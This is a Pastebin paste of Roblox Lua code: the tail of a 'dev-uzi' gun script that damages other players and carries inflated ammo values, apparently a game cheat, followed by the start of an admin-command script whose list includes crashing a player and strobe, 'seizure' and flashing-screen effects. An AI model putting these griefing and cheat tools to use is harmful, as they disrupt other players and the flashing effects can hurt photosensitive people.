Advertisement
Guest User

Untitled

a guest
Oct 17th, 2019
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 282.15 KB | None | 0 0
  1. _clear=function()
  2. local c={char;bag;gui;};
  3. for i=1,#c do
  4. local c=c[i]:children();
  5. for i=1,#c do
  6. if(c[i].Name==name)then
  7. c[i].Parent=nil;
  8. end;
  9. end;
  10. end;
  11. local n=name..user.Name;
  12. local c=workspace:children();
  13. for i=1,#c do
  14. if(c[i].Name==n)then
  15. c[i].Parent=nil;
  16. end;
  17. end;
  18. end;
  19.  
  20. _valid_key=function(object,key)
  21. return object[key],key;
  22. end;
  23.  
  24. _new=function(class)
  25. return function(props)
  26. if(type(list_base_props)=='table')then
  27. for i,v in next,list_base_props do
  28. if(props[i]==nil)then
  29. props[i]=v;
  30. end;
  31. end;
  32. end;
  33.  
  34. local object=class;
  35.  
  36. if(type(class)=='string')then
  37. object=Instance.new(class:sub(1,1):upper()..class:sub(2));
  38. end;
  39.  
  40. local parent=props[1];
  41. props[1]=nil;
  42.  
  43. for i,v in next,props do
  44. local load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2));
  45. if(not load)then
  46. load,res,key=pcall(_valid_key,object,i);
  47. end;
  48.  
  49. if(key)then
  50. t=type(res);
  51. s=tostring(res);
  52. if(t=='userdata'and s=='Signal '..key)then
  53. if(type(v)=='table')then
  54. for i=1,#v do
  55. res:connect(v[i]);
  56. end;
  57. else
  58. res:connect(v);
  59. end;
  60. else
  61. object[key]=v;
  62. end;
  63. end;
  64. end;
  65.  
  66. if(parent)then
  67. object.Parent=parent;
  68. end;
  69.  
  70. return object;
  71. end;
  72. end;
  73.  
  74. _RGB=function(r,g,b)
  75. return Color3.new(r/255,g/255,b/255);
  76. end;
  77.  
  78. _copy=function(o)
  79. local def=o.archivable;
  80. o.archivable=true;
  81. local c=o:clone();
  82. o.archivable=def;
  83. return c;
  84. end;
  85.  
  86. _hum=function(char)
  87. local hum=char:findFirstChild'Humanoid';
  88. if(not hum or hum.className~='Humanoid')then
  89. local c=char:children();
  90. for i=1,#c do
  91. if(c[i].className=='Humanoid')then
  92. return c[i];
  93. end;
  94. end;
  95. else
  96. return hum;
  97. end;
  98. end;
  99.  
  100. _hum_tag=function(hum)
  101. local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
  102. c.Name='creator';
  103. c.Value=user;
  104. if(hum.Health==0 and not hum:findFirstChild'killed')then
  105. Instance.new('BoolValue',hum).Name='killed';
  106. bullets.clip=bullets.clip+10;
  107. end;
  108. end;
  109.  
  110. _hum_dam=function(hum,dam,percent)
  111. hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
  112. if(hum.Health<=hum.MaxHealth*0.1)then
  113. _hum_tag(hum);
  114. end;
  115. end;
  116.  
  117. _ray=function(v0,v1,i)
  118. local mag=(v0-v1).magnitude;
  119. local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
  120.  
  121. return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i);
  122. end;
  123.  
  124. _must=function(v0,v1,i)
  125. local hit,pos=_ray(v0,v1,i);
  126. return not hit and mouse.target or hit,pos;
  127. end;
  128.  
  129. _cframe=function(x,y,z,r0,r1,r2)
  130. return CFrame.Angles(
  131. math.rad(r0 or 0),
  132. math.rad(r1 or 0),
  133. math.rad(r2 or 0)
  134. )*CFrame.new(x,y,z);
  135. end;
  136.  
  137. _update=function()
  138. if(bool_active and not screen.Parent)then
  139. screen.Parent=gui;
  140. elseif(not bool_active and screen.Parent)then
  141. screen.Parent=nil;
  142. end;
  143. end;
  144.  
  145. _light=function(v0,v1)
  146. local mag=(v0-v1).magnitude;
  147. local len=math.random(2,7);
  148. len=len>mag/2 and mag/2 or len;
  149.  
  150. local light=_new'part'{
  151. cFrame=CFrame.new(v0,v1);
  152. size=Vector3.new(1,1,1);
  153. color=_RGB(255,255,0);
  154. anchored=true;
  155. inv;
  156. };
  157. _new'blockMesh'{
  158. scale=Vector3.new(0.2,0.2,len);
  159. offset=Vector3.new(0,0,-len/2);
  160. light;
  161. };
  162.  
  163. local bb=_new'billboardGui'{
  164. size=UDim2.new(2,0,2,0);
  165. adornee=light;
  166. light;
  167. };
  168. _new'imageLabel'{
  169. image=url:format(109101526);
  170. backgroundTransparency=1;
  171. size=UDim2.new(1,0,1,0);
  172. bb;
  173. };
  174.  
  175. _rem(light,0.15);
  176. end;
  177.  
  178. _rem=function(object,del)
  179. if(del)then
  180. delay(del,function()
  181. if(object.Parent)then
  182. object.Parent=nil;
  183. end;
  184. end);
  185. else
  186. pcall(function()
  187. if(object.Parent)then
  188. object.Parent=nil;
  189. end;
  190. end);
  191. end;
  192. end;
  193.  
  194. _blood=function(pos,count)
  195. for i=1,count do
  196. local p=_new'part'{
  197. rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;
  198. position=pos+Vector3.new(math.random(),math.random(),math.random());
  199. velocity=Vector3.new(math.random(),math.random(),math.random())*50;
  200. size=Vector3.new(math.random(),math.random(),math.random())/3;
  201. color=_RGB(255,0,0);
  202. transparency=0.5;
  203. canCollide=true;
  204. bottomSurface=0;
  205. topSurface=0;
  206. formFactor=3;
  207. locked=true;
  208. inv;
  209. };
  210. delay(5,function()
  211. p.Parent=nil;
  212. end);
  213. end;
  214. end;
  215.  
  216. _make_hue=function()
  217. h_hue=_new'part'{
  218. size=Vector3.new(0.25,1.8,0.35);
  219. color=_RGB(100,100,100);
  220. formFactor=3;
  221. name='hue';
  222. handle;
  223. };
  224. hh_weld=_new'weld'{
  225. c1=_cframe(0,0.5,0);
  226. part0=handle;
  227. part1=h_hue;
  228. handle;
  229. };
  230. end;
  231.  
  232. _shot=function(v0,v1)
  233. if(not time_left)then
  234. time_left=0;
  235. end;
  236. if(time_left>time())then
  237. return nil;
  238. else
  239. time_left=time()+math.random(1,10)/100;
  240. end;
  241.  
  242. if(bullets.current<1)then
  243. local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
  244. soundId='rbxasset://sounds/SWITCH3.wav';
  245. name='tick_sound';
  246. volume=0.2;
  247. pitch=2;
  248. head;
  249. };
  250. tick_sound:play();
  251. if(bullets.clip>0)then
  252. time_left=time()+2;
  253. h_hue:breakJoints();
  254. h_hue.CanCollide=true;
  255. h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
  256. _rem(h_hue,10);
  257. delay(1.9,function()
  258. _make_hue();
  259. local got=(bullets.clip>bullets.maximum and
  260. bullets.maximum or
  261. bullets.clip)-bullets.current;
  262.  
  263. bullets.clip=bullets.clip-got;
  264. bullets.current=bullets.current+got;
  265. end);
  266. end;
  267. return nil;
  268. else
  269. bullets.current=bullets.current-1;
  270.  
  271. h_weld.C1=_cframe(0,0.75,0,
  272. -math.random(1000,1100)/10,180,0);
  273. d_weld.C1=_cframe(0,-0.25,0.3);
  274.  
  275. lightstuff.Visible=true;
  276. delay(0.1,function()
  277. lightstuff.Visible=false;
  278. end);
  279.  
  280. _rem(_new'part'{
  281. velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-4,-5,0)).p).lookVector*10;
  282. cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
  283. size=Vector3.new(0.1,0.1,0.4);
  284. color=_RGB(200,200,0);
  285. material='Slate';
  286. canCollide=true;
  287. formFactor=3;
  288. inv;
  289. },5);
  290. delay(0.1,function()
  291. d_weld.C1=_cframe(0,-0.25,0);
  292. if(bool_active)then
  293. h_weld.C1=h_weld_cf_active;
  294. end;
  295. end)
  296. end;
  297.  
  298. local hit,pos=_must(v0,v1,char);
  299.  
  300. shot_sound:play();
  301.  
  302. _light(v0,v1);
  303.  
  304. if(not hit)then return nil;end;
  305.  
  306. if(hit.Parent.className=='Hat')then
  307. hit:breakJoints();
  308. hit.CanCollide=true;
  309. hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
  310. hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
  311. else
  312. local hum=_hum(hit.Parent);
  313. if(not hum)then
  314. if(hit.Anchored==false and hit.Size.magnitude<4)then
  315. hit:breakJoints();
  316. hit.CanCollide=true;
  317. end;
  318. else
  319. _hum_dam(hum,math.random(4,6));
  320. _blood(pos,math.random(3,6));
  321. hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/6;
  322. if(hit.Name=='Head')then
  323. hum.Health=0;
  324. _blood(pos,math.random(3,6));
  325. delay(0.001,function()
  326. _new(workspace:FindFirstChild'head_shot'or'sound'){
  327. pitch=math.random(70,100)*0.01;
  328. soundId=url:format(1876552);
  329. name='head_shot';
  330. workspace;
  331. }:play();
  332. end);
  333. _hum_tag(hum);
  334. _rem(_new'part'{
  335. cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-pos).magnitude*0.5);
  336. size=Vector3.new(0.1,0.1,(v0-pos).magnitude);
  337. color=torso.Color;
  338. transparency=0.5;
  339. canCollide=false;
  340. bottomSurface=0;
  341. anchored=true;
  342. formFactor=3;
  343. topSurface=0;
  344. inv;
  345. },30);
  346. hit.Parent=nil;
  347. for b=0,1 do
  348. for a=0,1 do
  349. for i=0,1 do
  350. _rem(_new'part'{
  351. velocity=CFrame.new(v0,pos).lookVector*20;
  352. cFrame=hit.CFrame*CFrame.new(i,-b,a);
  353. size=Vector3.new(0.5,0.5,0.5);
  354. color=_RGB(255,255,255);
  355. bottomSurface=0;
  356. canCollide=true;
  357. transparency=0;
  358. formFactor=3;
  359. topSurface=0;
  360. hum;
  361. },30);
  362. end;
  363. end;
  364. end;
  365. end;
  366. end;
  367. end;
  368. end;
  369.  
  370. ----------------------------------------------------------------------------------------
  371.  
  372. _cf_select=function(mouse)
  373. mouse.Icon=url:format(109111387);--108999296
  374. bool_active=true;
  375.  
  376. local arm=char:findFirstChild'Right Arm';
  377. local weld=torso:findFirstChild'Right Shoulder';
  378. if(arm and weld)then
  379. h_weld.Part0=arm;
  380. h_weld.C1=h_weld_cf_active;
  381.  
  382. weld.Part1=nil;
  383. weld.Part0=nil;
  384.  
  385. weld=_new(torso:findFirstChild'right_arml'or'weld'){
  386. name='right_arml';
  387. part0=torso;
  388. part1=arm;
  389. torso;
  390. };
  391.  
  392. arml=(arml or 0)+1;
  393. local alv=arml;
  394. local gyro=torso:findFirstChild'p_gyro'or Instance.new('BodyGyro',torso);
  395. gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
  396. gyro.P=30000;
  397. gyro.D=1000;
  398. gyro.Name='p_gyro';
  399. repeat
  400. local pos=mouse.hit.p;
  401. local val,valp,p0,p1,p2,hitpos,cj,c0,c1;
  402.  
  403. val=-math.pi*0.5;
  404. valp=val*-1;
  405. p0=torso.CFrame;
  406. p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+(p0*CFrame.Angles(0,val,0)).lookVector;
  407. p1=p0+((p0.p-pos).unit*-2);
  408. p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
  409. hitpos=torso.Position;
  410. cj=CFrame.new(hitpos);
  411. c0=torso.CFrame:inverse()*cj;
  412. c1=p2:inverse()*cj;
  413. weld.C0=c0;
  414. weld.C1=c1;
  415.  
  416. gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));
  417.  
  418. wait(0.001);
  419. until arml~=alv;
  420. gyro.Parent=nil;
  421. end;
  422. end;
  423.  
  424. _cf_deselect=function()
  425. bool_active=false;
  426. arml=(arml or 0)+1;
  427. loop_shot=(loop_shot or 0)+1;
  428.  
  429. h_weld.Part0=torso;
  430. h_weld.C1=h_weld_cf_inactive;
  431.  
  432. local weld=torso:findFirstChild'right_arml';
  433. if(weld)then
  434. weld.Part1=nil;
  435. weld.Part0=nil;
  436. end;
  437. local arm=char:findFirstChild'Right Arm';
  438. local weld=torso:findFirstChild'Right Shoulder';
  439. if(arm and weld)then
  440. weld.Part0=torso;
  441. weld.Part1=arm;
  442. end;
  443. end;
  444.  
  445. _cf_mouse=function(event,fun)
  446. mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
  447. if(bool_active)then
  448. fun(...);
  449. end;
  450. end);
  451. end;
  452.  
  453. ----------------------------------------------------------------------------------------
  454.  
  455. do
  456. local main=getfenv(0);
  457. local c=game:children();
  458. local check=function(v)
  459. if(v.className~=''and v.className~='Instance'and game:service(v.className))then
  460. main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
  461. end;
  462. end;
  463. for i=1,#c do
  464. pcall(check,c[i]);
  465. end;
  466. end;
  467.  
  468. ----------------------------------------------------------------------------------------
  469.  
  470. bullets={
  471. maximum=51111111111111111111111111110;
  472. current=511111111111111111111111111111110;
  473. clip=501111111111111111111111111111111*4;
  474. };
  475.  
  476. list_base_props={
  477. backgroundColor3=_RGB(0,0,0);
  478. textColor3=_RGB(200,200,200);
  479. borderSizePixel=0;
  480. color=_RGB(0,0,0);
  481. archivable=false;
  482. canCollide=false;
  483. bottomSurface=0;
  484. topSurface=0;
  485. formFactor=0;
  486. locked=true;
  487. };
  488.  
  489. ----------------------------------------------------------------------------------------
  490.  
  491. user=players.localPlayer;
  492. mouse=user:getMouse();
  493. char=user.Character;
  494. gui=user.PlayerGui;
  495. bag=user.Backpack;
  496. torso=char.Torso;
  497. head=char.Head;
  498. hum=_hum(char);
  499.  
  500. url='rbxassetid://%d';
  501. name='dev-uzi';
  502.  
  503. h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
  504. 0,90,-70);
  505. h_weld_cf_active=_cframe(0,0.75,0,
  506. -110,180,0);
  507.  
  508. assert(hum,'humanoid is not found');
  509.  
  510. ----------------------------------------------------------------------------------------
  511.  
  512. _clear();
  513.  
  514. ----------------------------------------------------------------------------------------
  515.  
  516. _cf_mouse('button1Down',function()
  517. loop_shot=(loop_shot or 0)+1;
  518. local vers=loop_shot;
  519. local step=runService.Stepped;
  520. repeat
  521. _shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
  522. step:wait();--wait(0.001);
  523. until vers~=loop_shot;
  524. end);
  525.  
  526. _cf_mouse('button1Up',function()
  527. loop_shot=(loop_shot or 0)+1;
  528. end);
  529.  
  530. _cf_mouse('move',function()
  531. cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
  532. end);
  533.  
  534. _cf_mouse('keyDown',function(k)
  535. if(k=='r')then
  536. if(bullets.clip>0 and time_left<=time())then
  537. local got=(bullets.clip>bullets.maximum and
  538. bullets.maximum or
  539. bullets.clip)-bullets.current;
  540.  
  541. bullets.clip=bullets.clip-got;
  542. bullets.current=bullets.current+got;
  543. if(got~=0)then
  544. time_left=time()+2;
  545. end;
  546. end;
  547. end;
  548. end);
  549.  
  550. ----------------------------------------------------------------------------------------
  551.  
  552. screen=_new'screenGui'{
  553. name=name;
  554. };
  555.  
  556. cross_f=_new'frame'{
  557. size=UDim2.new(0,21,0,21);
  558. backgroundTransparency=1;
  559. screen;
  560. };
  561.  
  562. for i=0,1 do
  563. _new'frame'{
  564. position=UDim2.new(0,13*i,0,11);
  565. size=UDim2.new(0,10,0,1);
  566. cross_f;
  567. };
  568. end;
  569.  
  570. for i=0,1 do
  571. _new'frame'{
  572. position=UDim2.new(0,11,0,13*i);
  573. size=UDim2.new(0,1,0,10);
  574. cross_f;
  575. };
  576. end;
  577.  
  578. ----------------------------------------------------------------------------------------
  579.  
  580. shot_sound=_new(head:findFirstChild'2920959'or'sound'){
  581. soundId=url:format(2920959);
  582. pitch=1.4;
  583. head;
  584. };
  585. if(shot_sound.Name~='2920959')then
  586. shot_sound.Name='2920959';
  587. shot_sound:play();
  588. end;
  589.  
  590. bin=_new'hopperBin'{
  591. deselected=_cf_deselect;
  592. selected=_cf_select;
  593. name=name;
  594. bag;
  595. };
  596.  
  597. inv=_new'model'{
  598. name=name;
  599. char;
  600. };
  601.  
  602. handle=_new'part'{
  603. size=Vector3.new(0.3,1.3,0.4);
  604. color=_RGB(140,140,140);
  605. name='handle';
  606. formFactor=3;
  607. inv;
  608. touched=function(hit)
  609. if(hit.Parent.className=='Model')then
  610. local hum=_hum(hit.Parent);
  611. if(hum~=nil)then
  612. _hum_dam(hum,handle.Velocity.magnitude);
  613. end;
  614. end;
  615. end;
  616. };
  617. h_weld=_new'weld'{
  618. c1=h_weld_cf_inactive;
  619. part1=handle;
  620. part0=torso;
  621. handle;
  622. };
  623. _make_hue();
  624.  
  625. h_part=_new'part'{
  626. size=Vector3.new(0.4,0.4,1.4);
  627. color=_RGB(140,140,140);
  628. name='handle';
  629. formFactor=3;
  630. handle;
  631. };
  632. hp_weld=_new'weld'{
  633. c1=_cframe(0,-1.3/2,-0.3,
  634. 20,0,0);
  635. part0=handle;
  636. part1=h_part;
  637. handle;
  638. };
  639.  
  640. drag=_new'part'{
  641. size=Vector3.new(0.5,0.45,1.5);
  642. color=_RGB(100,100,100);
  643. name='handle';
  644. formFactor=3;
  645. handle;
  646. };
  647. d_weld=_new'weld'{
  648. c1=_cframe(0,-0.25,0);
  649. part0=h_part;
  650. part1=drag;
  651. handle;
  652. };
  653.  
  654. tube=_new'part'{
  655. size=Vector3.new(0.2,0.2,1.5);
  656. color=_RGB(0,0,0);
  657. name='handle';
  658. formFactor=3;
  659. handle;
  660. };
  661. t_weld=_new'weld'{
  662. c1=_cframe(0,-0.3,-0.1);
  663. part0=h_part;
  664. part1=tube;
  665. handle;
  666. };
  667.  
  668. bullets_label=_new'textLabel'{
  669. textStrokeColor3=_RGB(0,0,0);
  670. textColor3=_RGB(200,200,200);
  671. textStrokeTransparency=0;
  672. backgroundTransparency=1;
  673. fontSize=5;
  674. screen;
  675. };
  676.  
  677. lightstuff=_new'frame'{
  678. backgroundColor3=_RGB(255,255,255);
  679. position=UDim2.new(0,0,0,-1);
  680. backgroundTransparency=0.5;
  681. size=UDim2.new(1,0,1,1);
  682. borderSizePixel=0;
  683. visible=false;
  684. screen;
  685. };
  686.  
  687. coroutine.wrap(function()
  688. local red,white,green;
  689. repeat
  690. if(screen.Parent)then
  691. if(not green and bullets.current==bullets.maximum)then
  692. green=true;
  693. bullets_label.TextColor3=_RGB(0,200,0);
  694. elseif(not red and bullets.current==0)then
  695. red=true;
  696. bullets_label.TextColor3=_RGB(200,0,0);
  697. elseif((red or green)and bullets.current~=0 and bullets.current~=bullets.maximum)then
  698. bullets_label.TextColor3=_RGB(200,200,200);
  699. green=false;
  700. red=false;
  701. end;
  702. bullets_label.Text=('Bullets: %d/%d'):format(bullets.current,bullets.clip);
  703. bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBounds.Y);
  704. bullets_label.Position=UDim2.new(1,-bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
  705. end;
  706. wait(0.001);
  707. until nil;
  708. end)();
  709.  
  710. ----------------------------------------------------------------------------------------
  711.  
  712. _G.dev_pistol_version=(_G.dev_pistol_version or 0)+1;
  713. local vers=_G.dev_pistol_version;
  714. repeat _update();wait(0.001);until _G.dev_pistol_version~=vers or hum.Health==0;
  715. if(hum.Health==0)then
  716. _clear();
  717. end;
  718. script.Disabled=true;
  719.  
  720. --mediafire-----------------------------------------------------------------------------
  721.  
  722.  
  723. -----------------------------------------------------------------------------------------
  724. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  725. -----------------------------------------------------------------------------------------
  726. local owners = LocalPlayer -- Are able to set admins who can ban/etc... using :pa name
  727. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  728. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  729. local banland = {"MasterKhaos"} -- Permanently Bans people
  730. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  731. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  732. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  733. ---------------------
  734. -- VIP Admin --
  735. ---------------------
  736. local VipAdmin = false -- If someone can have admin for owning an item
  737. local ItemId = 0 -- The item they must own in order to have admin
  738. ---------------------
  739. -- Group Admin --
  740. ---------------------
  741. local GroupAdmin = false -- If a certain group can have admin
  742. local GroupId = 0 -- Sets the group id that can have admin
  743. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  744. ---------------------
  745. -- Tips and Tricks --
  746. ---------------------
  747. --[[
  748. With this admin you can do a command on multiple people at a time;
  749. :kill me,noob1,noob2,random,team-raiders,nonadmins
  750.  
  751. You can also use a variety commands for different people;
  752. all
  753. others
  754. me
  755. team-
  756. admins
  757. nonadmins
  758. random
  759. --]]
  760. ---------------------
  761. -- Commands --
  762. ---------------------
  763. --[[
  764. -- |Temp Admin Commands| --
  765. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  766. 1. :s print("Hello World") -- Lets you script normally
  767. 2. :ls print("Hello World") -- Lets you script in localscripts
  768. 3. :clear -- Will remove all scripts/localscripts and jails
  769. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  770. 5. :kill kohl -- Kills the player
  771. 6. :respawn kohl -- Respawns the player
  772. 7. :trip kohl -- Trips the player
  773. 8. :stun kohl -- Stuns the player
  774. 9. :unstun kohl -- Unstuns the player
  775. 10. :jump kohl -- Makes the player jump
  776. 11. :sit kohl -- Makes the player sit
  777. 12. :invisible kohl -- Makes the player invisible
  778. 13. :visible kohl -- Makes the player visible
  779. 14. :explode kohl -- Makes the player explode
  780. 15. :fire kohl -- Sets the player on fire
  781. 16. :unfire kohl -- Removes fire from the player
  782. 17. :smoke kohl -- Adds smoke to the player
  783. 18. :unsmoke kohl -- Removes smoke from the player
  784. 19. :sparkles kohl -- Adds sparkles to the player
  785. 20. :unsparkles kohl -- Removes sparkles from the player
  786. 21. :ff kohl -- Adds a forcefield to the player
  787. 22. :unff kohl -- Removes the forcefield from the player
  788. 23. :punish kohl -- Punishes the player
  789. 24. :unpunish kohl -- Unpunishes the player
  790. 25. :freeze kohl -- Freezes the player
  791. 26. :thaw kohl -- Thaws the player
  792. 27. :heal kohl -- Heals the player
  793. 28. :god kohl -- Makes the player have infinite health
  794. 29. :ungod kohl -- Makes the player have 100 health
  795. 30. :ambient .5 .5 .5 -- Changes the ambient
  796. 31. :brightness .5 -- Changes the brightness
  797. 32. :time 12 -- Changes the time
  798. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  799. 34. :fogend 100 -- Changes the fogend
  800. 35. :fogstart 100 -- Changes the fogstart
  801. 36. :removetools kohl -- Removes all tools from the player
  802. 37. :btools kohl -- Gives the player building tools
  803. 38. :give kohl sword -- Gives the player a tool
  804. 39. :damage kohl -- Damages the player
  805. 40. :grav kohl -- Sets the player's gravity to normal
  806. 41. :setgrav kohl 100 -- Sets the player's gravity
  807. 42. :nograv kohl -- Makes the player have 0 gravity
  808. 43. :health kohl 1337 -- Changes the player's health
  809. 44. :speed kohl 1337 -- Changes the player's walkspeed
  810. 45. :name kohl potato -- Changes the player's name
  811. 46. :unname kohl -- Remove the player's name
  812. 47. :team kohl Raiders -- Changes the player's team
  813. 48. :stopmusic -- Will stop all music playing in the server
  814. 49. :teleport kohl potato -- Teleports the player
  815. 50. :change kohl kills 1337 -- Changes a player's stat
  816. 51. :kick kohl -- Removes the player from the game
  817. 52. :infect kohl -- Turns the player into a zombie
  818. 53. :rainbowify kohl -- Turns the player into a rainbow
  819. 54. :flashify kohl -- Turns the player into a strobe
  820. 55. :noobify kohl -- Turns the player into a noob
  821. 56. :ghostify kohl -- Turns the player into a ghost
  822. 57. :goldify kohl -- Turns the player into gold
  823. 58. :shiny kohl -- Makes the player shiny
  824. 59. :normal kohl -- Puts the player back to normal
  825. 60. :trippy kohl -- Spams random colors on the player's screen
  826. 61. :untrippy kohl -- Untrippys the player
  827. 62. :strobe kohl -- Spams white and black on the player's screen
  828. 63. :unstrobe kohl -- Unstrobes the player
  829. 64. :blind kohl -- Blinds the player
  830. 65. :unblind kohl -- Unblinds the player
  831. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  832. 67. :fling kohl -- Flings the player
  833. 68. :seizure kohl -- Puts the player in a seizure
  834. 69. :music 1337 -- Plays a sound from the ID
  835. 70. :lock kohl -- Locks the player
  836. 71. :unlock kohl -- Unlocks the player
  837. 72. :removelimbs kohl -- Removes the player's limbs
  838. 73. :jail kohl -- Puts the player in a jail
  839. 74. :unjail kohl -- Removes the jail from the player
  840. 75. :fix -- This will fix the lighting to it's original settings
  841. 76. :fly kohl -- Makes the player fly
  842. 77. :unfly kohl -- Removes fly from the player
  843. 78. :noclip kohl -- Makes the player able to noclip
  844. 79. :clip kohl -- Removes noclipping from the player
  845. 80. :pm kohl Hey bro -- Sends the player a private message
  846. 81. :dog kohl -- Turns the player into a dog
  847. 82. :undog kohl -- Turns the player back to normal
  848. 83. :creeper kohl -- Turns the player into a creeper
  849. 84. :uncreeper kohl -- Turns the player back to normal
  850. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  851. 86. :char kohl 261 -- Will make a player look like a different player ID
  852. 87. :unchar kohl -- Will return the player back to normal
  853. 88. :h Hello People -- This will shout a hint to everyone
  854. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  855. 90. :starttools kohl -- Will give the player starter tools
  856. 91. :sword kohl -- Will give the player a sword
  857. 92. :bighead kohl -- Will make the player's head larger than normal
  858. 93. :minihead kohl -- Will make the player's head smaller than normal
  859. 94. :insert 1337 -- Will insert a model at the speaker's position
  860. 95. :disco -- Will make the server flash random colors
  861. 96. :flash -- Will make the server flash
  862. 97. :admins -- Shows the admin list
  863. 98. :bans -- Shows the banlist
  864. 99. :musiclist -- Shows the music list
  865. 100. :spin kohl -- Spins the player
  866. 101. :cape kohl Really black -- Gives the player a colored cape
  867. 102. :uncape kohl -- Removes the player's cape
  868. 103. :loopheal kohl -- Will constantly heal the player
  869. 104. :loopfling kohl -- Will constantly fling the player
  870. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  871. 106. :unloopheal kohl -- Will remove the loopheal on the player
  872. 107. :unloopfling kohl -- Will remove the loopfling on the player
  873. 108. :unspin kohl -- Removes spin from the player
  874. 109. :tools -- Gives a list of the tools in the lighting
  875. 110. :undisco -- Removes disco effects
  876. 111. :unflash -- Removes flash effects
  877. 112. :resetstats kohl -- Sets all the stats of a player to 0
  878. 113. :gear kohl 1337 -- Gives a player a gear
  879. 114. :cmdbar -- Gives the speaker a command bar
  880. 115. :shirt kohl 1337 -- Changes the player's shirt
  881. 116. :pants kohl 1337 -- Changes the player's pants
  882. 117. :face kohl 1337 -- Changes the player's face
  883. 118. :swagify kohl -- Swagifies the player
  884. 119. :version -- Shows the current version of the admin
  885. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  886. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  887. 122. :clone kohl -- Creates a clone of the player
  888. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  889. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  890. 125. :control kohl -- Controls a player
  891.  
  892. -- |Admin Commands| --
  893. - :serverlock -- Locks the server
  894. - :serverunlock -- Unlocks the server
  895. - :sm Hello World -- Creates a system message
  896. - :crash kohl -- Crashes a player
  897. - :admin kohl -- Admins a player
  898. - :unadmin kohl -- Unadmins a player
  899. - :ban kohl -- Bans a player
  900. - :unban kohl -- Unbans a player
  901. - :loopkill kohl -- Will constantly kill the player
  902. - :unloopkill kohl -- Will remove the loopkill on the player
  903. - :logs -- Will show all of the commands any admin has used in a game session
  904. - :shutdown -- Shutsdown the server
  905.  
  906. -- |Owner Commands| --
  907. - :pa kohl -- Makes someone a super admin
  908. - :unpa kohl -- Removes a super admin
  909. - :nuke kohl -- Creates a nuke on kohl
  910.  
  911. -- |True Owner Commands| --
  912. - :oa kohl -- Makes someone an owner
  913. - :unoa kohl -- Removes an owner
  914. - :settings -- Shows settings for the commands
  915. --]]
  916. ---------------------
  917. -- Main Script --
  918. ---------------------
  919. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  920.  
  921. function CHEESE()
  922. if game:service("Lighting"):findFirstChild("KACV2") then
  923. owners = {} admins = {} tempadmins = {} banland = {}
  924. for i,v in pairs(game.Lighting.KACV2:children()) do
  925. if v.Name == "Owner" then table.insert(owners, v.Value) end
  926. if v.Name == "Admin" then table.insert(admins, v.Value) end
  927. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  928. if v.Name == "Banland" then table.insert(banland, v.Value) end
  929. if v.Name == "Prefix" then prefix = v.Value end
  930. if v.Name == "FunCommands" then FunCommands = v.Value end
  931. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  932. if v.Name == "GroupId" then GroupId = v.Value end
  933. if v.Name == "GroupRank" then GroupRank = v.Value end
  934. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  935. if v.Name == "ItemId" then ItemId = v.Value end
  936. end
  937. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  938. end
  939.  
  940. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  941. local lobjs = {}
  942. local objects = {}
  943. local logs = {}
  944. local nfs = ""
  945. local slock = false
  946.  
  947. function GetTime()
  948. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  949. if min < 10 then min = "0"..min end
  950. return hour..":"..min
  951. end
  952.  
